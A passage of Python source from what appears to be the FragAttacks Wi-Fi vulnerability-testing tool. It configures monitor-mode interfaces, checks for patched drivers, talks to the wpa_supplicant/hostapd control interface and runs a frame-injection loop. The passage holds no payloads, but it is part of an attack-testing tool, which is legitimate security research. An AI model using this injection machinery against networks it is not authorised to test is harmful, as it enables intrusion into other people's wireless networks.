			subprocess.check_output(["rfkill", "unblock", "wifi"])
		except Exception as ex:
			log(ERROR, "Are you running as root (and in a Python virtualenv)?")
			quit(1)
		self.nic_iface = self.options.iface

		# TODO: Check if the interfaces exists

		# 0. Verify whether patched drivers are being used
		if not self.options.no_drivercheck:
			if not os.path.exists("/sys/module/mac80211/parameters/"):
				log(WARNING, "WARNING: Unable to check whether you are using patched drivers.")
			elif not os.path.exists("/sys/module/mac80211/parameters/fragattack_version"):
				log(ERROR, "You are not running patched drivers, meaning this tool may give incorrect results!")
				log(STATUS, "To ignore this warning and timeout add the parameter --no-drivercheck")
				time.sleep(5)
			elif FRAGVERSION != open("/sys/module/mac80211/parameters/fragattack_version").read().strip():
				version = open("/sys/module/mac80211/parameters/fragattack_version").read().strip()
				log(ERROR, f"This script has version {FRAGVERSION} but the modified drivers are version {version}.")
				log(ERROR, f"Recompile and reinstall the modified drivers or add --no-drivercheck (see the README for details).")
				quit(1)

		# 1. Assign/create interfaces according to provided options
		if self.options.hwsim:
			# TODO: Automatically create both interfaces?
			self.nic_iface, self.nic_hwsim = self.options.hwsim.split(",")
			self.nic_mon = self.options.iface
			set_macaddress(self.nic_iface, get_macaddress(self.nic_mon))

			if not self.options.ap:
				log(WARNING, f"Note: you must manually set {self.nic_mon} on the channel of the AP")

		elif self.options.inject:
			# Use the provided interface to monitor/inject frames
			self.nic_mon = self.options.inject

		else:
			# Create second virtual interface in monitor mode. Note: some kernels
			# don't support interface names of 15+ characters.
			self.nic_mon = "mon" + self.nic_iface[:12]

			# Only create a new monitor interface if it does not yet exist
			try:
				scapy.arch.get_if_index(self.nic_mon)
			except IOError:
				subprocess.call(["iw", self.nic_mon, "del"], stdout=subprocess.PIPE, stdin=subprocess.PIPE)
				subprocess.check_output(["iw", self.nic_iface, "interface", "add", self.nic_mon, "type", "monitor"])

		# 2.A Remember whether to need to use injection workarounds.
		driver = get_device_driver(self.nic_mon)
		if driver == None:
			log(WARNING, "Unable to detect driver of interface!")
			log(WARNING, "Injecting fragments may be unreliable.")
		elif driver in ["ath9k_htc", "iwlwifi"]:
			# Assure that fragmented frames are reliably injected on certain iwlwifi and ath9k_htc devices
			self.options.inject_mf_workaround = True
			log(STATUS, f"Detected {driver}, using injection bug workarounds")

		# 2.B Check if ath9k_htc is using patched firmware
		if not self.options.no_drivercheck and driver == "ath9k_htc":
			try:
				with open("/sys/module/ath9k_htc/parameters/fragattack_fw") as fp:
					if not int(fp.read()) == 1:
						log(ERROR, "WARNING: It seems the ath9k_htc device is not using patched firmware!")
						log(STATUS, "To ignore this warning and timeout add the parameter --no-drivercheck")
						time.sleep(5)
			except:
				log(WARNING, "WARNING: Unable to check if the ath9k_htc device is using patched firmware!")

		# 3. Enable monitor mode
		set_monitor_mode(self.nic_mon)
		log(STATUS, f"Using interface {self.nic_mon} ({get_device_driver(self.nic_mon)}) to inject frames.")
		if self.nic_hwsim:
			set_monitor_mode(self.nic_hwsim)

		# 4. Configure test interface if used
		if self.options.inject_test != None and self.options.inject_test != "self":
			set_monitor_mode(self.options.inject_test)

	def inject_mon(self, p):
		self.sock_mon.send(p)

	def inject_eth(self, p):
		self.sock_eth.send(p)

	def connect_wpaspy(self):
		# Wait until daemon started
		time_abort = time.time() + 10
		while not os.path.exists("wpaspy_ctrl/" + self.nic_iface) and time.time() < time_abort:
			time.sleep(0.1)

		# Abort if daemon didn't start properly
		if not os.path.exists("wpaspy_ctrl/" + self.nic_iface):
			log(ERROR, "Unable to connect to control interface. Did hostap/wpa_supplicant start properly?")
			log(ERROR, "Try recompiling them using ./build.sh and double-check client.conf and hostapd.conf.")
			quit(1)

		# Open the wpa_supplicant or hostapd control interface
		try:
			self.wpaspy_ctrl = Ctrl("wpaspy_ctrl/" + self.nic_iface)
			self.wpaspy_ctrl.attach()
		except:
			log(ERROR, "It seems wpa_supplicant/hostapd did not start properly.")
			log(ERROR, "Please restart it manually and inspect its output.")
			log(ERROR, "Did you disable Wi-Fi in the network manager? Otherwise it won't start properly.")
			raise

	def follow_channel(self):
		# We use GET_CHANNEL of wpa_s/hostapd because it's more reliable than get_channel,
		# which can fail on certain devices such as the AWUS036ACH.
		channel = self.wpaspy_command("GET_CHANNEL").strip()
		if self.options.inject:
			log(STATUS, f"{self.nic_mon}: setting to channel {channel}")
			set_channel(self.nic_mon, channel)
		elif self.options.hwsim:
			log(STATUS, f"{self.nic_hwsim}: setting to channel {channel}")
			log(STATUS, f"{self.nic_mon}: setting to channel {channel}")
			set_channel(self.nic_hwsim, channel)
			set_channel(self.nic_mon, channel)

		if self.options.inject_test != None and self.options.inject_test != "self":
			# FIXME: When using 40 MHz channel this call tends to fail the first time
			log(STATUS, f"{self.options.inject_test}: setting to channel {channel}")
			set_channel(self.options.inject_test, channel)
			# When explicitly testing we can afford a longer timeout. Otherwise we should avoid it.
			time.sleep(0.5)

	def injection_test(self, peermac, ownmac, is_postauth):
		# Only perform the test when explicitly requested
		if self.options.inject_test == None:
			return

		# If requested perform the test after authentication
		if self.options.inject_test_postauth != is_postauth:
			return

		try:
			test_iface = None if self.options.inject_test == "self" else self.options.inject_test
			test_injection(self.nic_mon, test_iface, peermac, ownmac, testack=is_postauth)
		except IOError as ex:
			log(WARNING, ex.args[0])
			log(ERROR, "Unexpected error. Are you using the correct kernel/driver/device?")
			quit(1)

		log(DEBUG, f"Passed injection self-test on interface {self.nic_mon}.")
		quit(1)

	def forward_hwsim(self, p, s):
		if p == None: return
		if not Dot11 in p: return
		if p.type != 0 and p.type != 2: return

		if len(p) >= 2200:
			log(DEBUG, f"Cannot forward frame longer than MTU (length {len(p)}).")
			return

		# Due to very strange buy in Scapy, we cannot directly forward frames with a
		# Dot11Encrypted layer. So we first convert them into a raw byte stream.
		p = Raw(raw(p))
		s.send(p)

	def run(self):
		self.configure_interfaces()

		# Remove old occurrences of the control interface that didn't get cleaned properly
		subprocess.call(["rm", "-rf", "wpaspy_ctrl/"])

		self.start_daemon()

		self.sock_eth = L2Socket(type=ETH_P_ALL, iface=self.nic_iface)
		self.sock_mon = MonitorSocket(type=ETH_P_ALL, iface=self.nic_mon)
		if self.nic_hwsim:
			self.sock_hwsim = MonitorSocket(type=ETH_P_ALL, iface=self.nic_hwsim)

		# Verify that hostap got recompiled on updates
		version = self.wpaspy_command("GET_VERSION").strip()
		if version != FRAGVERSION:
			log(ERROR, f"This script has version {FRAGVERSION} but compiled wpa_supplicant/hostapd is {version}.")
			log(ERROR, f"Please recompile hostapd/wpa_supplicant using `build.sh`.")
			quit(1)

		# Post-startup configuration of the supplicant or AP
		self.wpaspy_command("SET ext_eapol_frame_io 1")
		self.configure_daemon()

		# Monitor the virtual monitor interface of the client and perform the needed actions
		sockets = [self.sock_mon, self.sock_eth, self.wpaspy_ctrl.s]
		if self.sock_hwsim: sockets.append(self.sock_hwsim)
		while True:
			while len(self.wpaspy_pending) > 0:
				self.handle_wpaspy(self.wpaspy_pending.pop())

			sel = select.select(sockets, [], [], 0.5)
			if self.sock_hwsim in sel[0]:
				p = self.sock_hwsim.recv()
				if p != None: self.forward_hwsim(p, self.sock_mon)

			if self.sock_mon in sel[0]:
				p = self.sock_mon.recv()
				if p != None: self.handle_mon(p)
				if self.sock_hwsim:
					self.forward_hwsim(p, self.sock_hwsim)

			if self.sock_eth in sel[0]:
				p = self.sock_eth.recv()
				if p != None and Ether in p: self.handle_eth(p)

			if self.wpaspy_ctrl.s in sel[0]:
				msg = self.wpaspy_ctrl.recv()
				self.handle_wpaspy(msg)

			self.time_tick()

	def stop(self):
		log(STATUS, "Closing daemon and cleaning up ...")
		if self.process:
			self.process.terminate()
			self.process.wait()
		if self.sock_eth: self.sock_eth.close()
		if self.sock_mon: self.sock_mon.close()